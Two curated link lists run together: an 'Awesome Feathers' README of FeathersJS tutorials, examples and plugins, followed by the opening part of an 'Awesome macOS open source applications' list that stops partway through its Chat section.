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# Awesome Feathers [](https://awesome.re)
> A list of awesome things related to FeathersJS
- Awesome Feathers 
- [Resources](#resources)
- [Official Resources](#official-resources)
- [Videos](#videos)
- [Articles and Blog Posts](#articles-and-blog-posts)
- [Examples](#examples)
- [Feathers-Chat](#feathers-chat)
- [Feathers-Scss-Postgres-Chat-App](https://github.com/jermsam/Feathers-Scss-Postgres-Chat-App)
- [React](#react)
- [Vue](#vue)
- [Angular](#angular)
- [Admin](#admin)
- [Auth](#auth)
- [GraphQL / Apollo](#graphql--apollo)
- [Other](#other)
- [Projects Using Feathers](#projects-using-feathers)
- [Plugins](#plugins)
- [Authentication and Authorization](#authentication-and-authorization)
- [Caching](#caching)
- [Database](#database)
- [APIs](#apis)
- [Documentation](#documentation)
- [Email and SMS](#email-and-sms)
- [Google](#google)
- [Hooks](#hooks)
- [Images](#images)
- [Payments](#payments)
- [Scaling](#scaling)
- [Search](#search)
- [Social media](#social-media)
- [Testing](#testing)
- [Logging](#logging)
- [Transports](#transports)
- [Utilities](#utilities)
- [Validation](#validation)
- [Mobile Clients](#mobile-clients)
- [Flutter](#flutter)
- [iOS](#ios)
- [Android](#android)
- [Frontend frameworks](#frontend-frameworks)
- [Framework Agnostic](#framework-agnostic)
- [DoneJS](#donejs)
- [React and Redux](#react-and-redux)
- [VueJS](#vuejs)
- [Angular 1](#angular-1)
- [Angular 2](#angular-2)
- [Polymer](#polymer)
- [AureliaJS](#aureliajs)
- [Mithril](#mithril)
- [React Admin](#react-admin)
- [Admin on Rest (replaced by React Admin)](#admin-on-rest-replaced-by-react-admin)
## Resources
### Official Resources
- [Website](https://feathersjs.com)
- [Docs](https://docs.feathersjs.com)
- [Blog](https://blog.feathersjs.com)
- [Guides](https://docs.feathersjs.com/guides)
- [Slack](https://slack.feathersjs.com)
- [Telegram Russian chat](https://t.me/featherjs)
- [Twitter](https://twitter.com/feathersjs)
### Videos
- [The FeathersJS Youtube playlist](https://www.youtube.com/playlist?list=PLwSdIiqnDlf_lb5y1liQK2OW5daXYgKOe)
- [FeathersJS Real-Time Chat App - Tutorial](https://www.youtube.com/watch?v=CuM4vLkBaik)
- [Fullstack Feathersjs and React Web App](https://www.youtube.com/playlist?list=PLN3n1USn4xlnulnnBGD2RMid_p7xVj9xU)
### Articles and Blog Posts
- [Feathers Cheatsheet](https://github.com/LeCoupa/awesome-cheatsheets/blob/master/backend/feathers.js)
- [Integrating Nuxt into your Feathers Application](https://blog.feathersjs.com/ssr-vuejs-app-with-feathers-and-nuxt-bb7dfd3e6397)
- [How to do server side rendering with Feathers.js and Next.js](http://www.albertgao.xyz/2018/02/04/how-to-do-server-side-rendering-with-feathersjs-and-nextjs/)
- [Russian article - Связи между таблицами sequelize в FeathersJS](https://weburoki.pro/model-relation-feathers-feathers)
- [Russian article about querying - Запросы сервисам FeathersJS](https://weburoki.pro/querying-feathersjs-service)
- [Get started with Feathers & React](https://medium.com/javascript-in-plain-english/get-started-with-feathers-react-part-1-6b2b35a398c3)
### Examples
#### Feathers-Chat
Official Feathers Chat app & related front-end examples
- [Feathers Chat](https://github.com/feathersjs/feathers-chat) 
- [Feathers-Vuex (Vue.js) Chat](https://github.com/feathers-plus/feathers-chat-vuex)
- [Feathers React Native Chat](https://github.com/feathersjs-ecosystem/feathers-react-native-chat)
- [Feathers Chat + Login with Facebook](https://github.com/morenoh149/feathers-chat-facebook-signup-api)
- [Feathers Chat + Phone Signup SMS pin](https://github.com/morenoh149/feathers-chat-phone-signup-sms)
- [Feathers Chat React + TypeScript](https://github.com/codyparker/feathers-chat-react-typescript)
#### React
- [Feathers + React + Mobx](https://github.com/foxhound87/rfx-stack)
- [Feathers + React + Webpack](https://github.com/sscaff1/feathers-webpack-react)
- [Feathers + React + Redux + Webpack + local auth. Production quality](https://github.com/eddyystop/feathers-starter-react-redux-login-roles)
- [Feathers + React + Redux + Webpack + complete auth + offline mode (ideal for production)](https://github.com/bertho-zero/react-redux-universal-hot-example)
- [Feathers + Next.js](https://github.com/Albert-Gao/feathers-next-example)
- [MyEthereum.app: Feathers + Sequelize + React + Redux + Jest + Zeit deployments](https://github.com/petermikitsh/myethereumapp)
- [Build a CRUD App Using React, Redux and FeathersJS](https://www.sitepoint.com/crud-app-react-redux-feathersjs/)
- [Hook based React.js package useFeathers demo](https://github.com/indatawetrust/use-feathers/tree/master/demo)
- [Feathers-React Starter](https://github.com/ingeniousambivert/Feathers-React-Starter)
#### Vue
- [Feathers-Vuex (Vue.js) TodoMVC example project](https://github.com/wdmtech/feathers-vuex-todomvc)
- [Quasar Feathers Structured Conversation](https://github.com/KnowledgeGarden/tqks-featherweight-prototype)
- [Quasar Feathers tutorial](https://github.com/claustres/quasar-feathers-tutorial)
- [Feathers + Quasar](https://github.com/claustres/quasar-feathers-tutorial)
- [Feathers 2 + Vue 2 + SSR + Email Verification](https://github.com/codingfriend1/Feathers-Vue)
- [Feathers 2 + Vue 2 + Email Verification + Cordova + Framework 7](https://github.com/codingfriend1/Feathers-Vue/tree/cordova)
- [feathers-nuxt](https://github.com/silvestreh/feathers-nuxt) - A sample/starter for server-side rendered Vue.js + Feathers applications that supports user authentication
- [Feathers + Vue and Nuxt](https://github.com/7kmCo/feathers-vue-nuxt) Nuxt.js or Vue.js templates.
- [Feathers + Nuxt Boilerplate](https://gitlab.com/fexell/featherjs-nuxtjs-boilerplate) Feathers + Nuxt boilerplate with Login, Sign Up, Reauthentication, etc.
- [Feathers + Nuxt Sao Template](https://github.com/feathers-nuxt/template-app)
#### Admin
- [Feathers + Aor-feathers-client + Admin on Rest](https://github.com/kfern/feathers-aor-test-integration)
#### Auth
- [Passwordless Auth Example Using feathers-authentication-management](https://github.com/rhythnic/feathers-passwordless-auth-example)
#### GraphQL / Apollo
- [Feathers + Apollo](https://github.com/swarthout/feathers-apollo)
#### Other
- [Best Buy API Playground](https://github.com/BestBuy/api-playground)
- [Live query. Mirror part of a DB on the client.](https://github.com/eddyystop/feathers-live-query)
- [Frontless: Feathers + RiotJS + Turbolinks + Express](https://github.com/nesterow/frontless) Isomorphic application boilerplate for RiotJS.
## Projects Using Feathers
- [Adaptable.io](https://adaptable.io)
- [Akt'n'Map](https://aktnmap.com)
- [APPoint](https://appoint-app.io)
- [BeachfrontDigital](https://beachfront.digital)
- [ContactImpact](https://www.contactimpact.de)
- [County Committee Sunlight Project](https://ccsunlight.org)
- [Cryptosheets](https://app.cryptosheets.com)
- [Foxflow](https://www.foxflow.com/)
- [GenerousTickets](https://generoustickets.com/)
- [Headstart](http://www.headstartapp.com/)
- [HaulHound](https://haulhound.com/)
- [Humaans](https://humaans.io/)
- [JSONLog](https://jsonlog.io)
- [June.ai](https://june.ai/)
- [Koola](http://koola.io/)
- [Krawler](https://kalisio.github.io/krawler/)
- [Shakepay](https://shakepay.co)
- [Sleeker](https://sleeker.co)
- [Simpla](https://www.simpla.io/)
- [Stoplight](https://stoplight.io/)
- [Taxfyle](https://www.taxfyle.com/)
- [Weacast](https://weacast.github.io/weacast-docs/)
- [XREngine](https://github.com/xrfoundation/xrengine)
## Plugins
### Authentication and Authorization
- [@feathersjs/authentication](https://docs.feathersjs.com/api/authentication/server.html) 
- [@feathersjs/authentication-client](https://docs.feathersjs.com/api/authentication/client.html) 
- [@feathersjs/authentication-local](https://docs.feathersjs.com/api/authentication/local.html) 
- [@feathersjs/authentication-oauth1](https://docs.feathersjs.com/api/authentication/oauth1.html) 
- [@feathersjs/authentication-oauth2](https://docs.feathersjs.com/api/authentication/oauth2.html) 
- [feathers-authentication-oidc](https://www.npmjs.com/package/feathers-authentication-oidc)
- [feathers-permissions](https://github.com/feathersjs-ecosystem/feathers-permissions)
- [feathers-authentication-management](https://github.com/feathers-plus/feathers-authentication-management) - User email verification and password reset capabilities to local feathers-authentication (service)
- [feathers-authentication-compatibility](https://www.npmjs.com/package/feathers-authentication-compatibility) - Keep `v0.x` clients compatible with `v1.0+` authentication
- [feathers-casl](https://github.com/fratzinger/feathers-casl) - Add access control with CASL to Feathers.
### Caching
- [feathers-hooks-rediscache](https://github.com/idealley/feathers-hooks-rediscache) - API endpoint caching with Redis.
### Database
- [feathers-elasticsearch](https://github.com/feathersjs-ecosystem/feathers-elasticsearch) 
- [feathers-knex](https://github.com/feathersjs-ecosystem/feathers-knex) 
- [feathers-localstorage](https://github.com/feathersjs-ecosystem/feathers-localstorage) 
- [@feathersjs-offline/localforage](https://github.com/feathersjs-offline/localforage) - A FeathersJS service adapter for `WebSQL`, ÌndexedDB`, or `localStorage` enabling offline-first.
- [feathers-memory](https://github.com/feathersjs-ecosystem/feathers-memory) 
- [feathers-mongodb](https://github.com/feathersjs-ecosystem/feathers-mongodb) 
- [feathers-mongoose](https://github.com/feathersjs-ecosystem/feathers-mongoose) 
- [feathers-nedb](https://github.com/feathersjs-ecosystem/feathers-nedb) 
- [feathers-sequelize](https://github.com/feathersjs-ecosystem/feathers-sequelize) 
- [feathers-airtable](https://github.com/jonascript/feathers-airtable) - A FeatherJS service adapter to manage your Airtable bases.
- [feathers-arangodb](https://github.com/AnatidaeProject/feathers-arangodb) - A Feathers database adapter for ArangoDB using official NodeJS driver for ArangoDB.
- [feathers-bee-queue](https://github.com/compwright/feathers-bee-queue) - Feathers service adapter for [Bee-Queue](https://www.npmjs.com/package/bee-queue) jobs
- [feathers-blob](https://github.com/feathersjs-ecosystem/feathers-blob) - Feathers abstract blob store service (service)
- [feathers-cassandra](https://github.com/feathersjs-ecosystem/feathers-cassandra) - Feathers service adapter for Cassandra DB based on Express-Cassandra ORM and CassanKnex query builder
- [feathersjs-couchbase](https://github.com/Sieabah/feathersjs-couchbase) - Full FeathersJS Query API for couchbase-server
- [feathers-dynamodb](https://github.com/jus101/feathers-dynamodb) - Work in progress - help wanted!
- [feathers-json-patch](https://github.com/sibartlett/feathers-json-patch) - Add JSON Patch support to any Feathers database adapter or service.
- [feathers-mongodb-fuzzy-search](https://github.com/arve0/feathers-mongodb-fuzzy-search) - Add fuzzy search to your mongodb service queries
- [feathers-nedb-puzzy-search](https://www.npmjs.com/package/feathers-nedb-puzzy-search) - Add google-like \$search to NeDB service.find queries.
- [feathers-objection](https://github.com/feathersjs-ecosystem/feathers-objection) - A service adapter for [Objection.js](https://vincit.github.io/objection.js) - A minimal SQL ORM built on top of Knex.
- [feathers-seeder](https://www.npmjs.com/package/feathers-seeder) - Straightforward data seeder for FeathersJS services.
- [feathers-solr](https://www.npmjs.com/package/feathers-solr) - Solr Adapter for Feathersjs
- [feathers-lowdb](https://github.com/lwhiteley/feathers-lowdb) - Featherjs database service adapter for [Lowdb](https://github.com/typicode/lowdb)
- [feathers-ottoman](https://github.com/bwgjoseph/feathers-ottoman) - A Ottoman Service for feathers
- [feathers-prisma](https://github.com/ps73/feathers-prisma) - A service adapter for [Prisma](https://www.prisma.io/) (PostgreSQL, MySQL, SQLite, SQL Server,MongoDB)
#### Database wrappers
- [@feathersjs-offline/owndata-ownnet](https://github.com/feathersjs-offline/owndata-ownnet) - FeatherJS Offline-first realtime database wrapper implements the offline-first `own-data` / `own-net` replication principles on CRUD methods on any Feathers database adapter.
### APIs
- [feathers-unsplash](https://github.com/marshallswain/feathers-unsplash) - Query the Unsplash API with FeatherJS query syntax.
- [feathers-coinapi](https://github.com/johnatspreadstreet/feathers-coinapi) - Query the [CoinAPI](https://docs.coinapi.io) API through FeathersJS
- [feathers-openweathermap](https://github.com/fratzinger/feathers-openweathermap) - Feathers service for interacting with the [OpenWeatherMap API](https://openweathermap.org/api). Use historical, current and forecast weather data.
### Documentation
- [feathers-swagger](https://github.com/feathersjs-ecosystem/feathers-swagger) - Add documentation to your Feathers services and feed them to Swagger UI. (configure)
### Email and SMS
- [feathers-mailer](https://github.com/feathersjs-ecosystem/feathers-mailer) - Feathers mailer service using nodemailer (service)
- [feathers-aws-sns](https://github.com/powerkernel/feathers-aws-sns) - Feathers AWS SNS service to use with Amazon Simple Notification Service (service)
- [feathers-postmark](https://github.com/feathers-plus/feathers-postmark) - A [Postmark](https://postmarkapp.com/) API service adapter for FeathersJS
- [feathers-messagebird](https://github.com/fratzinger/feathers-messagebird) - A [Messagebird](https://messagebird.com/) API service adapter for FeathersJS
### Google
- [feathers-google-maps](https://github.com/DaddyWarbucks/feathers-google-maps) - Feathers service for interacting with the Google Maps API (service)
### Hooks
- [feathers-hooks-commons](https://hooks-common.feathersjs.com/) - Collection of useful Feathers hooks.
- [feathers-fletching](https://daddywarbucks.github.io/feathers-fletching/) - A collection of hooks and utilities to make your FeathersJS apps fly straight and true.
- [feathers-hooks-jsonapify](https://www.npmjs.com/package/feathers-hooks-jsonapify) - Feathers hook for outputting data in a JSON-API-compliant way.
- [feathers-populate-hook](https://www.npmjs.com/package/feathers-populate-hook) - Feathers hook to populate multiple fields with n:m, n:1 or 1:m relations. (hook)
- [feathers-shallow-populate](https://github.com/Mattchewone/feathers-shallow-populate) - The fastest FeathersJS hook for populating relational data
- [feathers-graph-populate](https://github.com/marshallswain/feathers-graph-populate) - Add lightning fast, GraphQL-like populates to your FeathersJS API
- [feathers-trigger](https://github.com/fratzinger/feathers-trigger) - Add triggers and actions to your feathers app for notifications, protocols or logs.
### Images
- [feathers-cloudinary](https://github.com/johnatspreadstreet/feathers-cloudinary) - Utilize the [Cloudinary](https://cloudinary.com/documentation) API for image manipulation/parsing/uploading/editing.
### Payments
- [feathers-stripe](https://github.com/feathersjs-ecosystem/feathers-stripe)
- [feathers-stripe-webhooks](https://github.com/fixate/feathers-stripe-webhooks)
### Scaling
- [mostly-feathers](https://github.com/MostlyJS/mostly-feathers) - Convert your Feathers APIs into microservices
- [mostly-feathers-rest](https://github.com/MostlyJS/mostly-feathers-rest) - Expose your microservice as a RESTful API
- [feathers-sync](https://github.com/feathersjs-ecosystem/feathers-sync) - Synchronize service events between application instances using MongoDB publish/subscribe (configure)
- [feathers-batch](https://github.com/feathersjs-ecosystem/feathers-batch/) - Batch multiple Feathers service calls into one (service)
- [feathers-distributed](https://github.com/kalisio/feathers-distributed) - Distribute your Feathers services as microservices
- [feathers-opossum](https://github.com/sajov/feathers-opossum) - A circuit breaker for Feathers services
- [feathers-http-distributed](https://github.com/dekelev/feathers-http-distributed) - Distribute FeathersJS apps over the network with inter-service communication using HTTP protocol
### Search
- [feathers-algolia](https://github.com/johnatspreadstreet/feathers-algolia) - Utilize the [Algolia](https://www.algolia.com/doc) API for implementing advanced search functionality into your FeathersJS application.
### Social media
- [feathers-authentication-weapp](https://github.com/xixilive/feathers-authentication-weapp) - Wechat mini-program authentication strategy for feathers.
- [feathers-client-weapp](https://github.com/xixilive/feathers-client-weapp) - Adapts feathers rest client for wechat mini-program.
### Testing
- [feathers-factory](https://github.com/JorgenVatle/feathers-factory) - Quickly build reusable random data generators for your Feathers services.
### Logging
- [feathers-splunk](https://www.npmjs.com/package/feathers-splunk) - Integrates the splunk into feathersjs services for logging.
### Transports
- [@feathersjs/express](https://docs.feathersjs.com/api/express.html) 
- [@feathersjs/socketio](https://docs.feathersjs.com/api/socketio.html) 
- [@feathersjs/rest-client](https://docs.feathersjs.com/api/client/rest.html) 
- [@feathersjs/socketio-client](https://docs.feathersjs.com/api/client/socketio.html) 
- [feathers-rabbitmq-transport](https://www.npmjs.com/package/feathers-rabbitmq-transport) - Use a RabbitMQ message broker to communicate with the services of your app.
### Utilities
- [@feathersjs/cli](https://github.com/feathersjs/cli) 
- [@feathersjs/client](https://docs.feathersjs.com/api/client.html) 
- [@feathersjs/configuration](https://docs.feathersjs.com/api/configuration.html) 
- [@feathersjs/errors](https://docs.feathersjs.com/api/errors.html) 
- [generator-feathers](https://github.com/feathersjs/generator-feathers) 
- [generator-feathers-plugin](https://github.com/feathersjs/generator-feathers-plugin) 
- [feathers-hooks-utils](https://www.npmjs.com/package/feathers-hooks-utils) - Utility library for writing Feathersjs hooks. (hooks)
- [feathers-profiler](https://github.com/feathers-plus/feathers-profiler)
- [feathers-versionate](https://github.com/luke3butler/feathers-versionate) - Utility for creating and working with nested service paths.
- [feathers-findone](https://github.com/fridays/feathers-findone) - Adds a .findOne() method to services in Feathers.js
- [feathers-opentracing](https://github.com/dekelev/feathers-opentracing) - OpenTracing integration for FeathersJS services
- [fastfeathers](https://github.com/edwardsmarkf/fastfeathers) - collection of bash-shell scripts to run various feathers examples quickly
- [feathers-kong](https://github.com/dekelev/feathers-kong) - A Feathers service for [Kong API Gateway](https://docs.konghq.com) admin API
- [feathers-hubspot-webhooks](https://github.com/dekelev/feathers-hubspot-webhooks) - Handle HubSpot webhooks in a FeathersJS service
- [feathers-async-bootstrap](https://github.com/idaho/feathers-async-boot) - Booting feathers application asynchron
### Validation
- [feathers-hooks-validate-joi](https://www.npmjs.com/package/feathers-hooks-validate-joi) - Feathers hook utility for schema validation, sanitization and client notification using Joi. (hook)
- [feathers-validator](https://www.npmjs.com/package/feathers-validator) - A validator for Feathers services. (service)
## Mobile Clients
The Feathers client works with React Native but here is a collection of native libraries/SDKs.
## Flutter
- [FlutterFeathersJs](https://pub.dev/packages/flutter_feathersjs/) - Communicate with your feathers js server from flutter.
## iOS
- [Feathers](https://github.com/startupthekid/feathers-ios) - Feathers compliant SDK written in Swift 3. Supports rest and socket providers.
## Android
## Frontend frameworks
### Framework Agnostic
- [@feathersjs/client](https://docs.feathersjs.com/api/client.html)  - All of the main client packages rolled into one.
- [wings-feathers](https://www.npmjs.com/package/wings-feathers) - A FeathersJS 4-Way realtime reactive data sync and callback observable for any frontend frameworks (ie. React, Vue, Angular)
- [feathers-reactive](https://github.com/feathersjs-ecosystem/feathers-reactive) - Live query streams for Feathers. Turns a Feathers service call into an RxJS observables that automatically updates on real-time events.
- [@feathersjs-offline/owndata-ownnet](https://github.com/feathersjs-offline/owndata-ownnet) - FeatherJS Offline-first realtime database wrapper implements the offline-first `own-data` / `own-net` replication principles on CRUD methods on any Feathers database adapter.
### DoneJS
- [can-connect-feathers](https://www.npmjs.com/package/can-connect-feathers) - Feathers client library for DoneJS (feathers-client)
- [canjs-feathers](https://www.npmjs.com/package/canjs-feathers) - CanJS model implementation that connects to Feathers services through feathers-client. (feathers-client)
### React and Redux
- [figbird](https://humaans.github.io/figbird/) - Declarative and realtime data management for ultra responsive Feathers and React applications.
- [feathers-react](https://github.com/silvestreh/feathers-react) - A FeathersJS real-time React component library to display data
- [feathers-mobx](https://github.com/florianguyonnet/feathers-mobx) - Inplement feathers client into your mobx store
### VueJS
- [feathers-pinia](https://feathers-pinia.pages.dev) - A Feathers Client wrapper that integrates with Pinia.
- [feathers-vuex](https://github.com/feathers-plus/feathers-vuex) - Integration of Feathers services with your Vuex store.
### Angular
- [feathers-reactive](https://github.com/feathersjs-ecosystem/feathers-reactive) - Live query streams for Feathers. Turns a Feathers service call into an RxJS observables that automatically updates on real-time events.
### AureliaJS
- [aurelia-feathers-fusebox](https://github.com/PraveenGandhi/au-i18n-fusebox) - Featehrs v4 client, Aurelia, i18next, semantic ui, fuse-box
### React Admin
- [ra-data-feathers](https://github.com/josx/ra-data-feathers) - A feathers rest/socket.io client for react-admin. (Admin)
### Admin on Rest (replaced by React Admin)
- [Aor-feathers-client](https://github.com/josx/aor-feathers-client) - A feathers rest client for admin-on-rest. (Admin)
|
[](https://vshymanskyy.github.io/StandWithUkraine)
<p align="center">
<img src="./icons/icon.png">
</p>
# Awesome macOS open source applications
<p align="left">
<a href="https://github.com/sindresorhus/awesome"><img alt="Awesome" src="https://cdn.rawgit.com/sindresorhus/awesome/d7305f38d29fed78fa85652e3a63e154dd8e8829/media/badge.svg" /></a>
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List of awesome open source applications for macOS. This list contains a lot of native, and cross-platform apps. The main goal of this repository is to find free open source apps and start contributing. Feel free to [contribute](CONTRIBUTING.md) to the list, any suggestions are welcome!
To receive all new or popular applications you can join our [telegram channel](https://t.me/opensourcemacosapps).
## Support
Hey friend! Help me out for a couple of :beers:! <span class="badge-patreon"><a href="https://www.patreon.com/serhiilondar" title="Donate to this project using Patreon"><img src="https://img.shields.io/badge/patreon-donate-yellow.svg" alt="Patreon donate button" /></a></span>
## Languages
You can see in which language an app is written. Currently there are following languages:
- ![c_icon] - C language.
- ![cpp_icon] - C++ language.
- ![c_sharp_icon] - C# language.
- ![clojure_icon] - Clojure language.
- ![coffee_script_icon] - CoffeeScript language.
- ![css_icon] - CSS language.
- ![go_icon] - Go language.
- ![elm_icon] - Elm language.
- ![haskell_icon] - Haskell language.
- ![javascript_icon] - JavaScript language.
- ![lua_icon] - Lua language.
- ![objective_c_icon] - Objective-C language.
- ![python_icon] - Python language.
- ![ruby_icon] - Ruby language.
- ![rust_icon] - Rust language.
- ![shell_icon] - Shell language.
- ![swift_icon] - Swift language.
- ![typescript_icon] - TypeScript language.
## Contents
- [Audio](#audio)
- [Backup](#backup)
- [Browser](#browser)
- [Chat](#chat)
- [Cryptocurrency](#cryptocurrency)
- [Database](#database)
- [Development](#development)
- [Git](#git)
- [iOS / macOS](#ios--macos)
- [JSON Parsing](#json-parsing)
- [Web development](#web-development)
- [Other development](#other-development)
- [Downloader](#downloader)
- [Editors](#editors)
- [CSV](#csv)
- [JSON](#json)
- [Markdown](#markdown)
- [TeX](#tex)
- [Text](#text)
- [Extensions](#extensions)
- [Finder](#finder)
- [Games](#games)
- [Graphics](#graphics)
- [IDE](#ide)
- [Images](#images)
- [Keyboard](#keyboard)
- [Mail](#mail)
- [Menubar](#menubar)
- [Music](#music)
- [News](#news)
- [Notes](#notes)
- [Other](#other)
- [Podcast](#podcast)
- [Productivity](#productivity)
- [Screensaver](#screensaver)
- [Security](#security)
- [Sharing Files](#sharing-files)
- [Social Networking](#social-networking)
- [Streaming](#streaming)
- [System](#system)
- [Terminal](#terminal)
- [Touch Bar](#touch-bar)
- [Utilities](#utilities)
- [VPN & Proxy](#vpn--proxy)
- [Video](#video)
- [Wallpaper](#wallpaper)
- [Window Management](#window-management)
## Applications
### Audio
- [AUHost](https://github.com/vgorloff/AUHost) - Application which hosts AudioUnits v3 using AVFoundation API. ![swift_icon]
- [Audacity](https://github.com/audacity/audacity) - Free, open source, cross-platform audio software ![c_icon]
- [Aural Player](https://github.com/kartik-venugopal/aural-player) - Aural Player is a audio player application for the macOS platform. Inspired by the classic Winamp player for Windows, it is designed to be to-the-point and easy to use. ![swift_icon]
- [AutoMute](https://github.com/yonilevy/automute) - Automatically mute the sound when headphones disconnect / Mac awake from sleep. ![objective_c_icon]
- [Background Music](https://github.com/kyleneideck/BackgroundMusic) - Background Music, a macOS audio utility: automatically pause your music, set individual apps' volumes and record system audio. ![cpp_icon]
- [BlackHole](https://github.com/ExistentialAudio/BlackHole) - BlackHole is a modern macOS virtual audio driver that allows applications to pass audio to other applications with zero additional latency. ![c_icon]
- [CAM](https://github.com/hanayik/CAM) - macOS camera recording using ffmpeg ![javascript_icon]
- [Clementine](https://github.com/clementine-player/Clementine) - Clementine is a modern music player and library organizer for Windows, Linux and macOS. ![cpp_icon]
- [Cog](https://bitbucket.org/losnoco/cog/src) - Cog is an open source audio player for macOS. The basic layout is a single-paned playlist interface with two retractable drawers, one for navigating the user's music folders and another for viewing audio file properties, like bitrate. ![objective_c_icon]
- [Karaoke Forever](https://github.com/bhj/KaraokeEternal) - Host awesome karaoke parties where everyone can queue songs from their phone's browser. Plays MP3+G and MP4 with WebGL visualizations. ![javascript_icon]
- [LocalRadio](https://github.com/dsward2/LocalRadio) - LocalRadio is software for listening to "Software-Defined Radio" on your Mac and mobile devices. ![objective_c_icon]
- [LosslessCut](https://github.com/mifi/lossless-cut) - The swiss army knife of lossless video/audio editing without re-encoding. ![javascript_icon]
- [Lyricism](https://github.com/lyc2345/Lyricism) - macOS app to show you lyric what currently iTunes or Spotify is playing. ![objective_c_icon] ![swift_icon]
- [LyricsX](https://github.com/ddddxxx/LyricsX) - Lyrics for iTunes, Spotify and Vox. ![swift_icon]
- [MPV](https://github.com/mpv-player/mpv) - Lightweight, highly configurable media player. ![c_icon]
- [MonitorControl](https://github.com/MonitorControl/MonitorControl) - Control your external monitor brightness, contrast or volume directly from a menulet or with keyboard native keys. ![swift_icon] ![objective_c_icon]
- [Mous Player](https://github.com/bsdelf/mous) - Simple yet powerful audio player for BSD/Linux/macOS. ![cpp_icon]
- [NoiseBuddy](https://github.com/insidegui/NoiseBuddy) - Control the listening mode on your AirPods Pro in the Touch Bar or Menu Bar. ![swift_icon]
- [PlayStatus](https://github.com/nbolar/PlayStatus) - PlayStatus is a macOS app that allows the control of Spotify and iTunes music playback from the menu bar. ![swift_icon]
- [Plug](https://github.com/wulkano/Plug) - Discover and listen to music from Hype Machine. ![swift_icon]
- [Scope](https://github.com/billthefarmer/audiotools/tree/master/Scope/swift) - Audio Oscilloscope ![swift_icon]
- [ShazamScrobbler](https://github.com/ShazamScrobbler/shazamscrobbler-macos) - Scrobble vinyl, radios, movies to Last.fm. ![objective_c_icon]
- [Sonora](https://github.com/sonoramac/Sonora) - Minimal, beautifully designed music player for macOS. ![objective_c_icon]
- [SpotMenu](https://github.com/kmikiy/SpotMenu) - Spotify and iTunes in your menu bar. ![objective_c_icon] ![swift_icon]
- [SpotSpot](https://github.com/will-stone/SpotSpot) - Spotify mini-player for macOS. ![javascript_icon]
- [Spotify4BigSur](https://github.com/fabiusBile/Spotify4BigSur) - Spotify widget for Notification Center. ![swift_icon]
- [Suohai](https://github.com/Sunnyyoung/Suohai) - Audio input/output source lock for macOS. ![swift_icon]
- [Tickeys](https://github.com/yingDev/Tickeys) - Instant audio feedback for typing. macOS version. ![rust_icon]
- [Tuner](https://github.com/billthefarmer/ctuner) - Musical Instrument Tuner ![swift_icon]
- [[Un]MuteMic](https://github.com/CocoaHeadsBrasil/MuteUnmuteMic) - macOS app to mute & unmute the input volume of your microphone. Perfect for podcasters. ![objective_c_icon] ![c_icon]
- [eqMac2](https://github.com/bitgapp/eqMac) - System-Wide Equalizer for the Mac. ![cpp_icon]
- [fre:ac](https://github.com/enzo1982/freac) - The fre:ac audio converter project. ![cpp_icon]
- [iTunes-Volume-Control](https://github.com/alberti42/iTunes-Volume-Control) - This app allows you to control the iTunes volume using volume up and volume down hotkeys. ![objective_c_icon]
- [jmc](https://github.com/jcm93/jmc) - jmc is new macOS media organizer. ![swift_icon]
- [shairport-sync](https://github.com/mikebrady/shairport-sync) - macOS/Linux/FreeBSD/OpenBSD Airplay audio receiver. ![c_icon] ![cpp_icon]
- [waveSDR](https://github.com/getoffmyhack/waveSDR) - macOS native desktop Software Defined Radio application using the RTL-SDR USB device. ![swift_icon]
### Backup
- [BorgBase/Vorta](https://github.com/borgbase) - Simple and Secure Offsite Backups ![python_icon]
- [Mackup](https://github.com/lra/mackup) - Keep your application settings in sync (macOS/Linux). ![python_icon]
- [Syncalicious](https://github.com/zenangst/Syncalicious) - Keeping multiple macOS preferences in sync can be painful, but it shouldn't be. ![swift_icon]
- [UrBackup](https://github.com/uroni/urbackup_backend) - UrBackup is Client/Server network backup for Windows, macOS and Linux. ![cpp_icon] ![c_icon]
- [shallow-backup](https://github.com/alichtman/shallow-backup) - Easily create lightweight documentation of installed applications, dotfiles, and more. ![python_icon]
### Browser
- [Beaker Browser](https://github.com/beakerbrowser/beaker) - Beaker is an experimental peer-to-peer Web browser. ![javascript_icon]
- [Brave Browser](https://github.com/brave/brave-browser) - Brave browser for Desktop and Laptop computers running Windows, macOS, and Linux. ![javascript_icon]
- [Chromium](https://chromium.googlesource.com/chromium/src/) - Chromium is an open-source browser project that aims to build a safer, faster, and more stable way for all users to experience the web. ![javascript_icon] ![cpp_icon] ![c_icon]
- [Finicky](https://github.com/johnste/finicky) - Always opens the right browser. ![swift_icon]
- [Firefox](https://hg.mozilla.org/mozilla-central/) - Fast, privacy aware browser from a non-profit. Runs on Windows, macOS and Linux. ![javascript_icon] ![rust_icon] ![cpp_icon]
- [Helium](https://github.com/JadenGeller/Helium) - Floating browser window for macOS. ![objective_c_icon] ![swift_icon]
- [Min Browser](https://github.com/minbrowser/min) - A fast and efficient minimal web browser. ![javascript_icon]
- [Pennywise](https://github.com/kamranahmedse/pennywise) - Pennywise opens any website or media in a small floating window that remains on top of all other applications. It's a great alternative to Helium. ![javascript_icon]
- [Plash](https://github.com/sindresorhus/Plash) - Make any website your desktop wallpaper. ![swift_icon]
- [Privacy Redirect for Safari](https://github.com/smmr-software/privacy-redirect-safari) - Redirect Twitter, YouTube, Reddit, Google Maps, Google Search, and Google Translate to privacy friendly alternatives. ![swift_icon]
- [browserosaurus](https://github.com/will-stone/browserosaurus) - macOS tool that prompts you to choose a browser when opening a link. ![javascript_icon]
- [otter-browser](https://github.com/OtterBrowser/otter-browser) - Otter Browser aims to recreate the best aspects of the classic Opera (12.x) UI using Qt5. ![cpp_icon]
- [seb-mac](https://github.com/SafeExamBrowser/seb-mac) - Safe Exam Browser for macOS and iOS. ![c_icon]
### Chat
- [Adium](https://github.com/adium/adium) - Instant messaging application that can connect to XMPP (Jabber), IRC and more. ![c_icon]
- [Beagle IM](https://github.com/tigase/beagle-im) - Powerful XMPP client with support for file transfer, VoIP and end-to-end encryption. ![swift_icon]
- [ChitChat](https://github.com/stonesam92/ChitChat) - Native Mac app wrapper for WhatsApp Web. ![objective_c_icon]
- [Electronic WeChat](https://github.com/geeeeeeeeek/electronic-wechat) - Better WeChat on macOS and Linux. ![javascript_icon]
- [Element](https://github.com/vector-im/element-web) - Element is a collaboration app (currently Electron) for the [Matrix](https://matrix.org/) protocol. ![javascript_icon]
- [Franz](https://github.com/meetfranz/franz) - Franz is messaging application for services like WhatsApp, Slack, Messenger and many more. ![javascript_icon]
- [Google Allo for Desktop](https://github.com/kelyvin/Google-Allo-For-Desktop) - Native macOS & Windows desktop app for Google Allo. ![javascript_icon]
